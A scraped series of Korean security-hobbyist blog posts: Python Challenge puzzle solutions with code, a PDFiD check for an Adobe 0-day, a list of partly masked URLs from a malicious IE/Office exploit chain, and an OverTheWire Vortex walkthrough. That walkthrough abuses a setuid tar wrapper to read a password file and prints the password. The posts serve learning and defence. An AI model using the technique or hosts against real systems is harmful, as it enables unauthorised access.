이미지 파일로 보이는 헤더가 보이므로 해당 이미지들을 추출해보면 깨진 이미지가 나온다.\n고민한 결과 해당 문제의 제목이 diff 였으므로 두개의 바이너리 값들을 diff 하여 같은것, 왼쪽에만 있는것, 오른쪽에만 있는것으로 뽑아서 PNG 이미지 파일로 추출하여 보면 아래와 같은 이미지 들이 나온다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #!c:\\python26\\python.exe import gzip,difflib def output(x, length, number): count = 2 for y in range( len(length)/2 ): tmp = x[count:count+2] tmp = int(tmp, 16) if number == 1: file1.write(chr(tmp)) elif number == 2: file2.write(chr(tmp)) elif number == 3: file3.write(chr(tmp)) count += 3 deltas = gzip.GzipFile(\u0026#39;deltas.gz\u0026#39;, \u0026#39;rb\u0026#39;).read() deltas = deltas.split(\u0026#39;\\n\u0026#39;) file1 = open(\u0026#39;output1.png\u0026#39;, \u0026#39;wb\u0026#39;) file2 = open(\u0026#39;output2.png\u0026#39;, \u0026#39;wb\u0026#39;) file3 = open(\u0026#39;output3.png\u0026#39;, \u0026#39;wb\u0026#39;) left = [] right = [] for x in deltas: left.append(x[:53]) right.append(x[56:]) diff = list(difflib.ndiff(left, right)) for x in diff: length = x.replace(\u0026#39; \u0026#39;, \u0026#39;\u0026#39;) if x[0] == \u0026#39;-\u0026#39;: output(x, length, 1) elif x[0] == \u0026#39;+\u0026#39;: output(x, length, 2) elif x[0] == \u0026#39; \u0026#39;: output(x, length, 3) 이 문제를 풀면서 깨달은것 하나! difflib 모듈 사용 시 리스트 형태가 아닌 스트링 형태로 넘기게 되면 결과가 나오는데 천만년이 걸린다는 사실.... -_-\n","date":"2009-11-11T13:10:55Z","permalink":"/2009/11/11/the-python-challenge-level-18/","title":"The Python Challenge - Level 18"},{"content":"http://www.pythonchallenge.com/pc/return/romance.html\n이미지를 보면 쿠키 그림이 있다. cookies.html 페이지가 존재 함을 알 수 있었고 chocolate.html 그리고 play.html이 존재한다. 하지만 마지막에 가보면 되돌아가라는 메세지 뿐이다.\n다시 한번 이미지 그림을 살펴 보면 왼쪽 하단에 이전에 보았던 이미지가 있다. Level 4에서의 이미지이며 Level 4로 되돌아 가면 쿠키가 셋팅된다.\nyou should have followed busynothing...\nbusynothing의 이미지를 한참 생각하다 Level 4의 풀이를 보면 인자로 nothing인 것을 확인할 수 있었다. 이 인자를 busynothing으로 바꾸어 Level 4의 코드로 확인하여 보았다. 각 페이지 마다 쿠키가 셋팅되어 있었고 모든 쿠키를 수집하여 보니 첫 시작 부분이 많이 본 부분이다.\n확인한 결과 bzip 포멧이였고 아래 코드로 bzip 파일 내용을 확인할 수 있었다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #!C:\\Python26\\python.exe import httplib, urllib, re, bz2 def gogo(number): conn = httplib.HTTPConnection(\u0026#39;www.pythonchallenge.com\u0026#39;) conn.request(\u0026#39;GET\u0026#39;, \u0026#39;/pc/def/linkedlist.php?busynothing=\u0026#39; + str(number)) r1 = conn.getresponse() data1 = r1.read() data2 = r1.getheaders() cookie = re.search(\u0026#39;.+; e\u0026#39;, data2[2][1][5:]).group() cookie = cookie.replace(\u0026#39;; e\u0026#39;, \u0026#39;\u0026#39;) conn.close() if data1.find(\u0026#39;Yes. Divide by two and keep going.\u0026#39;) == 0: return int(number) / 2, cookie elif data1.find(\u0026#39;that\\\u0026#39;s it.\u0026#39;) == 0: return 31337, cookie else: tmp = re.search(\u0026#39;and the next busynothing is [0-9]+\u0026#39;, data1).group() return re.search(\u0026#39;[0-9]+\u0026#39;, tmp).group(), cookie output = \u0026#39;\u0026#39; x, ret = gogo(12345) output = ret print \u0026#39;Loding\u0026#39;, while 1: print \u0026#39;.\u0026#39;, x, ret = gogo(x) output += ret if x == 31337: print \u0026#39;\\n\u0026#39; + bz2.decompress(urllib.unquote_plus(output)) break 메세지를 확인하여 보면 아래와 같다.\nis it the 26th already? call his father and inform him that \u0026quot;the flowers are on their way\u0026quot;. he'll understand.\n아버지께 전화를 걸라고 하니 이전에 풀었던 Level 13 XML 관련 문제로 풀어보았다. 먼저 mozart의 아버지 이름을 확인해보기 위해 검색하여 보니 Leopold 였다. 따라서 아래 코드를 통해 메세지를 받을 수 있었다.\n1 2 3 4 5 6 #!C:\\python26\\python.exe from xmlrpclib import ServerProxy server = ServerProxy(\u0026#39;http://www.pythonchallenge.com/pc/phonebook.php\u0026#39;) print server.system.listMethods() print server.system.methodHelp(\u0026#39;phone\u0026#39;) print server.phone(\u0026#39;Leopold\u0026#39;) 출력 결과는 555-VIOLIN 이다. 이전 Level 13을 풀때도 뒷부분을 소문자로 입력해야 했었으니 소문자로 입력하여 접속하여 보니 아래의 주소가 나타났다.\nhttp://www.pythonchallenge.com/pc/stuff/violin.php\n이후 위 페이지에서 쿠키 문제였기 때문에 \u0026quot;the flowers are on their way\u0026quot; 로 셋팅을 해주면 아래와 같은 메세지가 나타난다.\n","date":"2009-11-08T13:44:18Z","permalink":"/2009/11/08/the-python-challenge-level-17/","title":"The Python Challenge - Level 17"},{"content":"http://www.pythonchallenge.com/pc/return/mozart.html\n접속하면 이상한 이미지가 하나 있고 제목으론 \u0026quot;let me get this straight\u0026quot; 라는 말이 있다. 뭘 어찌 하란건가 한참을 고민하다 이미지의 보라석 선이 일정하여 세로로 직선으로 이으면 이어질거 같았다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!c:\\python26\\python.exe import Image, ImageDraw im = Image.open(\u0026#39;mozart.gif\u0026#39;) size = im.size tmp = Image.new(\u0026#39;RGB\u0026#39;, size, \u0026#39;black\u0026#39;) def gogo(posX, posY): for x in range(size[0]): pos = posX + x if pos \u0026gt;= size[0]: pos = pos % size[0] data = im.getpixel((pos, posY)) tmp.putpixel((x, posY), data) for y in range(size[1]): for x in range(size[0]): data = im.getpixel((x, y)) if data == 195: # puple color? gogo(x, y) break tmp.show() 한줄로 이으니 아래와 같은 이미지가 나왔다!\n","date":"2009-11-04T17:33:58Z","permalink":"/2009/11/04/the-python-challenge-level-16/","title":"The Python Challenge - Level 16"},{"content":"http://www.pythonchallenge.com/pc/return/uzi.html\n문제 페이지에 나오는 달력 이미지를 보면 1xx6년도의 1월 26일이 월요인 해를 찾아야 한다. 아래 소스를 통해 1월 26일이 월요일인 해를 찾을 수 있었다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 #!c:\\python26\\pyhton.exe from datetime import date year = 1996 for x in range(100): d = date(year, 1, 27) t = d.timetuple() ic = d.isocalendar() if ic[2] == 2: # if Tuesday? print d year -= 10 문제 페이지 소스를 보면 라는 메세지가 있다. 즉, 1월 27일이라는 소리인데......\n해당 년도에 1월 27일에 태어난 인물을 찾아보니 위키피디아에 아래와 같은 인물이 있었다. 1756 - Wolfgang Amadeus Mozart, Austrian composer (d. 1791)\n","date":"2009-10-30T08:44:31Z","permalink":"/2009/10/30/the-python-challenge-level-15/","title":"The Python Challenge - Level 15"},{"content":"http://www.pythonchallenge.com/pc/return/italy.html\n빵그림과 이상한 이미지를 하나 주어주고 풀라고 한다. 해당 페이지 소스를 보면 아래와 같은 힌트가 있다.\n1 \u0026lt;!-- remember: 100*100 = (100+99+99+98) + (... --\u0026gt; 빵그림이 동그랗게 되어 있으므로 처음 아래 이상한 이미지를 처음 100 픽셀 짤라 맨 우측에 붙이고(빨간부분), 그다음 99 픽셀을 짤라 하단에 붙이고(파란부분), 다음 99 픽셀을 짤라 좌측에 붙이고(노란부분) 이런식으로 조금씩 짤라서 안쪽으로 만들어 나가면 아래와 같은 이미지가 나온다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #!c:\\python26\\python.exe import Image, ImageDraw im = Image.open(\u0026#39;wire.png\u0026#39;) tmp = Image.new(\u0026#39;RGB\u0026#39;, (100, 100), \u0026#39;black\u0026#39;) def first(pos, posX, posY, round): for x in range(posX): data = im.getpixel((x+pos, 0)) tmp.putpixel((posY-1, x+round), data) def second(pos, posX, posY, round): count = posX - 1 for x in range(posX): data = im.getpixel((x+pos, 0)) tmp.putpixel((count+round, posY), data) count -= 1 def third(pos, posX, round): count = posX - 1 for x in range(posX): data = im.getpixel((x+pos, 0)) tmp.putpixel((round, count+round), data) count -= 1 def fourth(pos, posX, round): for x in range(posX): data = im.getpixel((x+pos, 0)) tmp.putpixel((x+1+round, round), data) pos = 0 x = 100 y = 100 for round in range(50): first(pos, x, y, round) pos += x x -= 1 y -= 1 second(pos, x, y, round) pos += x third(pos, x, round) pos += x x -= 1 fourth(pos, x, round) pos += x tmp.show() 이건 너무 어렵군 -_-\n","date":"2009-10-23T18:54:26Z","permalink":"/2009/10/23/%EC%9E%90%EB%8F%99-%EC%A0%80%EC%9E%A5-%EB%AC%B8%EC%84%9C-2/","title":"The Python Challenge - Level 14"},{"content":"http://www.pythonchallenge.com/pc/return/disproportional.html\n전화기 그림에서 5번을 클릭하면 xml 에러 메세지가 나온다. 이번 문제를 풀려면 xmlrpc에 대한 이해가 필요하다.\n1 2 3 4 5 6 #!C:\\python26\\python.exe from xmlrpclib import ServerProxy server = ServerProxy(\u0026#39;http://www.pythonchallenge.com/pc/phonebook.php\u0026#39;) print server.system.listMethods() print server.system.methodHelp(\u0026#39;phone\u0026#39;) print server.phone(\u0026#39;blahblah\u0026#39;) 대체 blahblah 부분에 어떤 단어를 넣어야 하는지 심히 생각했다. He is not the evil...?\n대체 누구지?\nhttp://www.pythonchallenge.com/pc/return/evil4.jpg 주소에서 누군지 알 수 있었다. 왜 저 페이지는 파이어폭스에서 제대로 표시를 못해주는건지... :-(\n","date":"2009-10-22T12:32:57Z","permalink":"/2009/10/22/%EC%9E%90%EB%8F%99-%EC%A0%80%EC%9E%A5-%EB%AC%B8%EC%84%9C-1/","title":"The Python Challenge - Level 13"},{"content":"http://www.pythonchallenge.com/pc/return/evil.html\n역시 어떤 이미지가 있다. 해당 이미지의 파일명을 살펴보니 evil1.jpg 이다. 그럼 evil2.jpg도 있는 것일까? 확인하여 보니 있다. not jpg .gfx 라는 메세지가 있었다. .gfx 파일이 있는 것일까 하고 evil2.gfx 파일이 있는지 확인해 보니 역시 파일이 있었다!\nevil2.gfx 파일을 HexEditor로 확인한 결과 반복적으로 같은 갯수의 더미값이 포함되며 이미지 헤더를 확인할 수 있었다. 그래서 데이터를 추출하여 이미지를 뽑을 수 있었다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #!c:\\python26\\python.exe file = open(\u0026#39;evil2.gfx\u0026#39;, \u0026#39;rb\u0026#39;) data = file.read() file.close() def cut(number): output = open(\u0026#39;output\u0026#39; + str(number) + \u0026#39;.jpg\u0026#39;, \u0026#39;wb\u0026#39;) count = number for x in range(len(data)/5): output.write(data[count]) count += 5 output.close() for x in range(5): cut(x) print \u0026#39;Finish!\u0026#39; 5개의 이미지가 나왔으며 단어를 조합해보면 disproportionality 라는데 마지막 ity는 아니라고 하므로 최종 답은 disproportional\n","date":"2009-10-22T12:30:18Z","permalink":"/2009/10/22/%EC%9E%90%EB%8F%99-%EC%A0%80%EC%9E%A5-%EB%AC%B8%EC%84%9C/","title":"The Python Challenge - Level 12"},{"content":"http://www.pythonchallenge.com/pc/return/5808.html\n문제 페이지 제목이 odd ever 이다. 몰랐는데 이 뜻은 홀짝 이란다... 해당 페이지에 있는 cave.jpg 파일을 확대하여 본 결과 검은색 픽셀이 섞여 있는것을 볼 수 있었다. 그래서 검은색 부분이 아닌 부분만 따로 뽑아서 이미지로 만들어 보았다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #!c:\\python26\\python.exe import Image, ImageDraw im = Image.open(\u0026#39;cave.jpg\u0026#39;) size = im.size tmp = Image.new(\u0026#39;RGB\u0026#39;, (size[0]/2, size[1]/2), \u0026#39;white\u0026#39;) for x in range(size[1]/2): if x \u0026gt; 1: count = x % 2 else: count = x for y in range(size[0]/2): data = im.getpixel((count, x)) tmp.putpixel((y,x),data) count += 2 tmp.show() ","date":"2009-10-21T12:09:31Z","permalink":"/2009/10/21/level-11/","title":"The Python Challenge - Level 11"},{"content":"http://www.pythonchallenge.com/pc/return/bull.html\na = [1, 11, 21, 1211, 111221, ......] 이랜다. a[30] 값의 길이를 구하라고 하는데......알고보니 개미 수열이군...\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #!c:\\python26\\python.exe start = str(1) tmp = start[0] count = 0 final = \u0026#39;\u0026#39; print start for x in range(30): for y in range(len(start)): if tmp == start[y]: count += 1 else: final += str(count) + str(tmp) tmp = start[y] count = 1 output = final + str(count) + tmp print output if x == 29: print \u0026#39;###################\u0026#39; print \u0026#39;len(a[30]) = \u0026#39; + str(len(output)) print \u0026#39;###################\u0026#39; else: start = output tmp = start[0] count = 0 final = \u0026#39;\u0026#39; output = \u0026#39;\u0026#39; ","date":"2009-10-20T15:56:10Z","permalink":"/2009/10/20/the-python-ca-level-10/","title":"The Python Challenge - Level 10"},{"content":"http://www.pythonchallenge.com/pc/return/good.html\n이전 레벨에서 구한 huge / file 로 접속하여 보면 그림이 나타난다. 그리고 소스를 보면 first와 second 값이 있다. 이 값들을 X,Y 좌표로 보고 선을 그려보면 아래와 같은 그림이 나타난다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #!c:\\python26\\python.exe import Image, ImageDraw first = [146,399,163,403,170,393,169,391,166,386,170,381,170,371,170,355,169,346,167,335,170,329,170,320,170,310,171,301,173,290,178,289,182,287,188,286,190,286,192,291,194,296,195,305,194,307,191,312,190,316,190,321,192,331,193,338,196,341,197,346,199,352,198,360,197,366,197,373,196,380,197,383,196,387,192,389,191,392,190,396,189,400,194,401,201,402,208,403,213,402,216,401,219,397,219,393,216,390,215,385,215,379,213,373,213,365,212,360,210,353,210,347,212,338,213,329,214,319,215,311,215,306,216,296,218,290,221,283,225,282,233,284,238,287,243,290,250,291,255,294,261,293,265,291,271,291,273,289,278,287,279,285,281,280,284,278,284,276,287,277,289,283,291,286,294,291,296,295,299,300,301,304,304,320,305,327,306,332,307,341,306,349,303,354,301,364,301,371,297,375,292,384,291,386,302,393,324,391,333,387,328,375,329,367,329,353,330,341,331,328,336,319,338,310,341,304,341,285,341,278,343,269,344,262,346,259,346,251,349,259,349,264,349,273,349,280,349,288,349,295,349,298,354,293,356,286,354,279,352,268,352,257,351,249,350,234,351,211,352,197,354,185,353,171,351,154,348,147,342,137,339,132,330,122,327,120,314,116,304,117,293,118,284,118,281,122,275,128,265,129,257,131,244,133,239,134,228,136,221,137,214,138,209,135,201,132,192,130,184,131,175,129,170,131,159,134,157,134,160,130,170,125,176,114,176,102,173,103,172,108,171,111,163,115,156,116,149,117,142,116,136,115,129,115,124,115,120,115,115,117,113,120,109,122,102,122,100,121,95,121,89,115,87,110,82,109,84,118,89,123,93,129,100,130,108,132,110,133,110,136,107,138,105,140,95,138,86,141,79,149,77,155,81,162,90,165,97,167,99,171,109,171,107,161,111,156,113,170,115,185,118,208,117,223,121,239,128,251,133,259,136,266,139,276,143,290,148,310,151,332,155,348,156,353,153,366,149,379,147,394,146,399] second = [156,141,165,135,169,131,176,130,187,134,191,140,191,146,186,150,179,155,175,157,168,157,163,157,159,157,158,164,159,175,159,181,157,191,154,197,153,205,153,210,152,212,147,215,146,218,143,220,132,220,125,217,119,209,116,196,115,185,114,172,114,167,112,161,109,165,107,170,99,171,97,167,89,164,81,162,77,155,81,148,87,140,96,138,105,141,110,136,111,126,113,129,118,117,128,114,137,115,146,114,155,115,158,121,157,128,156,134,157,136,156,136] im = Image.new(\u0026#39;RGB\u0026#39;, (512, 512), \u0026#39;white\u0026#39;) draw = ImageDraw.Draw(im) count = 0 for y in range(len(first)/2-1): draw.line((first[count], first[count+1]) + (first[count+2], first[count+3]), fill=0) count = count + 2 count = 0 for y in range(len(second)/2-1): draw.line((second[count], second[count+1]) + (second[count+2], second[count+3]), fill=0) count = count + 2 del draw im.show() 이제 자랑스럽게 http://www.pythonchallenge.com/pc/return/cow.html 로 접속해보면 숫놈이란다... 내가 아는 소는 cow뿐인데 -_-\n검색해보니 cow는 암소고 bull이 숫소란다....\n","date":"2009-10-15T09:07:36Z","permalink":"/2009/10/15/thepythonchallenge-level-9/","title":"The Python Challenge - Level 9"},{"content":"http://www.pythonchallenge.com/pc/def/integrity.html\n문제 페이지에서 접속하면 파리같이 생긴 곤충의 그림이 나오고 소스를 보면 어떤 인코딩 된듯한 문자열이 나온다. 이후에 알게 되었지만 사진속의 곤충은 벌이였고 beezip을 의도한 것으로 보인다.\n1 2 3 4 5 6 7 8 #!c:\\python26\\python.exe import bz2 un = \u0026#39;BZh91AY\u0026amp;SYA\\xaf\\x82\\r\\x00\\x00\\x01\\x01\\x80\\x02\\xc0\\x02\\x00 \\x00!\\x9ah3M\\x07\u0026lt;]\\xc9\\x14\\xe1BA\\x06\\xbe\\x084\u0026#39; pw = \u0026#39;BZh91AY\u0026amp;SY\\x94$|\\x0e\\x00\\x00\\x00\\x81\\x00\\x03$ \\x00!\\x9ah3M\\x13\u0026lt;]\\xc9\\x14\\xe1BBP\\x91\\xf08\u0026#39; print repr(bz2.decompress(un)) print repr(bz2.decompress(pw)) ","date":"2009-10-15T06:32:43Z","permalink":"/2009/10/15/level-8/","title":"The Python Challenge - Level 8"},{"content":"몇일 전 Adobe Reader/Acrobat 관련 0-Day 취약점(CVE-2009-3459)이 발표되었습니다. (자세한 내용 : http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html)\n현재 Adobe 사에서 해당 취약점에 대한 패치는 공개 하였으나 PDF 파일에서 해당 취약점이 존재하는지 확인할 경우가 있을거 같아 포스팅을 합니다.\n얼마전에 PDF 파일 분석하기 라는 내용으로 포스팅을 한 글이 있습니다. 해당 글에 보면 PDFiD(PEiD 이름에서 따온 것으로 추측....) 툴이 나옵니다.\n이 툴을 이용하여 의심스러운 PDF 파일을 빠르게 확인할 수 있는 방법을 알려드리겠습니다. 해당 툴을 이용하여 PDF 파일을 확인하였을 시 아래 그림처럼 /Colors 값이 2^24=16777216 보다 크다면 해당 취약점(CVE-2009-3459)을 이용한 문서라고 합니다.\n위 내용은 아래 페이지에서 참고한 글입니다. http://blog.didierstevens.com/2009/10/13/update-pdfid-version-0-0-9-to-detect-another-adobe-0day/\n","date":"2009-10-14T14:44:13Z","permalink":"/2009/10/14/adobe-readeracrobat-0-day-%ED%99%95%EC%9D%B8-%EB%B0%A9%EB%B2%95/","title":"Adobe Reader/Acrobat 0-Day 확인 방법! (CVE-2009-3459)"},{"content":"M2Crypto 모듈 사용법을 익혀두자! 그 첫번째로 RC4 알고리즘!\n1 2 3 4 5 6 #!/usr/bin/python from M2Crypto import RC4 rc4 = RC4.RC4() rc4.set_key(\u0026#39;\\x7b\\x28\\x38\\x89\\xfd\\x6b\\xb3\\x35\\xf5\\xc2\\xb8\\xb2\\x03\\x14\\xfe\\x02\\xec\\x52\\x42\\x97\\x46\\x1f\\x5c\\xe8\\x43\\x6d\\x8c\\x27\\xd9\\xd0\\x37\\x38\u0026#39;) print rc4.update(\u0026#39;\\xb8\\x8c\\x4c\\xf8\\x81\\x23\\xed\\x83\\xdf\\xad\\xb4\\x85\\x3a\\xbc\\xc6\\x99\\x46\\x25\u0026#39;) ","date":"2009-10-12T05:08:28Z","permalink":"/2009/10/12/m2crypto-rc4/","title":"M2Crypto - RC4"},{"content":"먼저 문제 페이지는 아래와 같다. http://www.pythonchallenge.com/pc/def/hockey.html\n해당 페이지에 접속을 하면 \u0026quot;it's in the air. look at the letters.\u0026quot; 라고 나온다. 공기중에서 볼 수 있는것?\nbadcob님의 힌트를 받아 아래 페이지가 존재 한단것을 알 수 있었다. http://www.pythonchallenge.com/pc/def/oxygen.html (nomja님의 제보로 다시 한번 확인해보니 이전 문제에서 출력되는 hocky에서 이루어지는 글자가 oxygen이군!)\n해당 페이지에는 이미지가 삽입되어 있었다.\n이미지에서 회색 및 검은색 박스 부분의 데이터를 뽑아 스트링으로 변환하여 보니 아래와 같은 메세지가 나왔다.\nsmart guy, you made it. the next level is [105, 110, 116, 101, 103, 114, 105, 116, 121]\n다시 뒤의 숫자값들을 변환한 결과 \u0026quot;integrity\u0026quot; 라는 단어를 얻을 수 있었다. 최종 코드는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #!c:\\python26\\python.exe import Image final = \u0026#39;\u0026#39; im = Image.open(\u0026#34;oxygen.png\u0026#34;) for x in range(87): box = ( (x*7), 43, (x*7+1), 44) output = im.crop(box) data = output.tostring() final += data[0] print final data = [105, 110, 116, 101, 103, 114, 105, 116, 121] next = \u0026#39;\u0026#39; for byte in data: next += str(chr(byte)) print \u0026#39;next : \u0026#39; + next PS. 이 문제를 풀기위해서는 PIL (Python Imaging Library)에 대한 이해가 필요하다. http://www.pythonware.com/products/pil/\n","date":"2009-10-09T15:53:33Z","permalink":"/2009/10/09/the-python-challenge-level-7/","title":"The Python Challenge - Level 7"},{"content":" 맨날 5등 이야 -_-\n","date":"2009-10-08T09:13:40Z","permalink":"/2009/10/08/2009%EB%85%84-hust-%EB%8C%80%ED%9A%8C/","title":"2009년 HUST 대회"},{"content":"MS Internet Explorer 7 Video ActiveX Remote Buffer Overflow Exploit (MS09-032) CLSID : 0955AC62-BF2E-4CBA-A2B9-A63F772D46CF http://www.microsoft.com/korea/technet/security/bulletin/MS06-014.mspx\nInternet Explorer Uninitialized Memory Corruption Vulnerability (MS09-002) CLSID : AE24FDAE-03C6-11D1-8B76-0080C744F389 http://www.microsoft.com/korea/technet/security/bulletin/MS09-002.mspx\nInternet Explorer (MDAC) Remote Code Execution Exploit (MS06-014) CLSID : BD96C556-65A3-11D0-983A-00C04FC29E36 http://www.microsoft.com/korea/technet/security/bulletin/MS06-014.mspx\nMicrosoft Office Web Components (Spreadsheet) ActiveX BOF (MS09-043) http://www.microsoft.com/korea/technet/security/bulletin/ms09-043.mspx\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 http://ij**ar.cn/x2/xx.html http://ij**ar.cn/x2/Td14.htm - MS06-014 http://ij**ar.cn/x2/14.js http://d.gd**w.com/xx/x2.css http://ij**ar.cn/x2/15.js http://ij**ar.cn/x2/17.js http://ij**ar.cn/x2/16.js http://ij**ar.cn/x2/18.js http://ij**ar.cn/x2/yt.htm - MS09-032 http://ij**ar.cn/x2/p8.jpg http://ij**ar.cn/x2/kb.jpg http://ij**ar.cn/x2/url.jpg http://d.gd**w.com/xx/x2.css http://ij**ar.cn/x2/c.jpg http://ij**ar.cn/x2/d.jpg http://ij**ar.cn/x2/e.jpg http://ij**ar.cn/x2/f.jpg http://ij**ar.cn/x2/td09.htm - MS09-002 http://ij**ar.cn/x2/01.js http://ij**ar.cn/x2/02.js http://ij**ar.cn/x2/yut.htm http://ij**ar.cn/x2/ytfl1.htm http://ij**ar.cn/x2/x1.htm - UserAgent 값에 MSIE 포함되면... http://ij**ar.cn/x2/x2.htm - UserAgent 값에 Firefox 포함되면... http://ij**ar.cn/x2/x1.htm - 위 둘중에도 해당 안되면... http://ij**ar.cn/x2/of.htm - MS09-043 http://ij**ar.cn/x2/of.js http://d.gd**w.com/xx/x2.css http://ij**ar.cn/x2/of3.jpg http://ij**ar.cn/x2/of.jpg http://ij**ar.cn/x2/of2.jpg http://ij**ar.cn/x2/ytu.htm http://ij**ar.cn/x2/ytfl.htm http://ij**ar.cn/x2/ie.html http://d.gd**w.com/xx/x2.css http://ij**ar.cn/x2/ie.js http://ij**ar.cn/x2/ff.html http://d.gd**w.com/xx/x2.css http://ij**ar.cn/x2/ff.js ","date":"2009-10-06T08:54:11Z","permalink":"/2009/10/06/%EC%9B%B9%ED%8E%98%EC%9D%B4%EC%A7%80%EC%97%90-%EC%82%BD%EC%9E%85%EB%90%98%EB%8A%94-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C%EA%B0%80-%EC%9D%B4%EC%9A%A9%ED%95%98%EB%8A%94-%EC%B7%A8%EC%95%BD%EC%A0%90/","title":"웹페이지에 삽입되는 악성코드가 이용하는 취약점 리스트"},{"content":"문제 페이지 : http://www.pythonchallenge.com/pc/def/channel.html\n먼저 주석을 보면 ZIP 이라는 단어가 있기에 다음 페이지에 접속하여 보니 ZIP 파일을 찾으라고 한다. http://www.pythonchallenge.com/pc/def/zip.html\nhttp://www.pythonchallenge.com/pc/def/channel.zip 파일이란게 있는 것을 확인했고 readme.txt 파일을 확인하여 보면 시작파일이 어떤 파일인지 확인할 수 있다. 각 파일을 읽어가며 따라가면 최종적으로 \u0026quot;Collect the comments.\u0026quot; 라는 메세지가 나온다.\n한참을 고민한 결과 zip 파일 내부에 각 파일에 대해 코멘트가 달려 있는것을 확인할 수 있었다. 이제 다시 아까의 순서대로 ZIP 파일에 달린 코멘트를 출력하는 코드를 작성하여 보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #!c:\\python26\\python.exe import re, zipfile def search_comment(name): zfileloc = \u0026#39;channel.zip\u0026#39; a = zipfile.ZipFile(zfileloc) for f in a.infolist(): tmp = str(f.filename) if tmp == name: return str(f.comment) break def gogo(number): file = open(\u0026#39;channel\\\\\u0026#39; + str(number) + \u0026#39;.txt\u0026#39;, \u0026#39;r\u0026#39;) tmp = file.read() print tmp get = re.search(\u0026#39;Next nothing is [\\d]+\u0026#39;, tmp).group() get = re.search(\u0026#39;[\\d]+\u0026#39;, get).group() return int(get) try: output = \u0026#39;\u0026#39; x = gogo(90052) file = str(x) + \u0026#39;.txt\u0026#39; output += search_comment(file) while 1: x = gogo(x) output += search_comment(str(x) + \u0026#39;.txt\u0026#39;) except: print \u0026#39;\u0026#39; print output ","date":"2009-09-21T15:29:13Z","permalink":"/2009/09/21/the-python-challenge-level-6-1/","title":"The Python Challenge - Level 6"},{"content":"\n5위라는 순위는 그리 높지 않았지만 그냥 같이 모여서 풀고해서 즐거운 주말을 보낸듯? 하지만 ssh key 풀고나서 ㅈ망 ㅋ 너무 재밌었어요..\n이후에 또 함께해요 ~\n이하 기사 링크 http://www.boannews.com/media/view.asp?idx=17838\u0026kind=1 http://artsnews.media.paran.com/news/40991\n","date":"2009-09-21T07:45:14Z","permalink":"/2009/09/21/saphead-hackjam-%EA%B2%B0%EA%B3%BC/","title":"Sapheads Hackjam 결과"},{"content":"문제 페이지 : http://www.pythonchallenge.com/pc/def/peak.html\n처음 문제를 보고 뭔가 한참 고민을 했더랬다 -_- pronounce it ? 도저히 이해가 안되어 포럼을 좀 본 결과 발음과 관련되어 있단걸 알게되었고 pickle이란걸 알게 되었다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #!c:\\python26\\python.exe import pickle, re pkl_file = open(\u0026#39;banner.p\u0026#39;, \u0026#39;rb\u0026#39;) data = pickle.load(pkl_file) tmp = \u0026#39;\u0026#39; for x in range(len(data)): for y in range(len(data[x])): if data[x][y][0].find(\u0026#39; \u0026#39;) == 0: # find \u0026#39; \u0026#39; for z in range(data[x][y][1]): tmp += \u0026#39; \u0026#39; elif data[x][y][0].find(\u0026#39;#\u0026#39;) == 0: # find \u0026#39;#\u0026#39; for z in range(data[x][y][1]): tmp += \u0026#39;#\u0026#39; print tmp tmp = \u0026#39;\u0026#39; pkl_file.close() 답이 나올때의 그 쾌감이란...\n","date":"2009-09-19T02:54:50Z","permalink":"/2009/09/19/the-python-challenge-level-6/","title":"The Python Challenge - Level 5"},{"content":"http://www.overthewire.org/wargames/vortex/level2.shtml 먼저 코드를 보자. tar와 관련된 문제인거 같다.\n1 2 3 4 5 6 7 8 9 #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; int main(int argc, char **argv) { char *args[] = { \u0026#34;/bin/tar\u0026#34;, \u0026#34;cf\u0026#34;, \u0026#34;/tmp/ownership.$$.tar\u0026#34;, argv[1], argv[2], argv[3] }; execv(args[0], args); } tar 명령어만 알고 있다면 쉽게 풀 수 있는 문제다. 인자로 패스워드를 주면 된다. 패스워드가 위치한 경로로 이동한 후 작업을 하면 된다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 vortex2@games /etc/vortex_pass $ pwd /etc/vortex_pass vortex2@games /etc/vortex_pass $ /vortex/level2 vortex3 vortex2@games /etc/vortex_pass $ cd /tmp vortex2@games /tmp $ mkdir jjoon vortex2@games /tmp $ cd jjoon vortex2@games /tmp/jjoon $ cp ../ownership.\\$\\$.tar ./ vortex2@games /tmp/jjoon $ ls -al total 868 drwxr-xr-x 2 vortex2 vortex2 4096 Jan 7 19:56 . d-wx-wx-wt 8 root root 868352 Jan 7 19:55 .. -rw-r--r-- 1 vortex2 vortex2 10240 Jan 7 19:56 ownership.$$.tar vortex2@games /tmp/jjoon $ tar xvf ownership.\\$\\$.tar vortex3 vortex2@games /tmp/jjoon $ cat vortex3 64ncXTvx# vortex2@games /tmp/jjoon $ 이 문제의 포인트는 $$를 \\$\\$ 로 입력해야 한다는 것! 그리고 이 문제 풀면서 안건데 $$가 PID를 뜻하는거 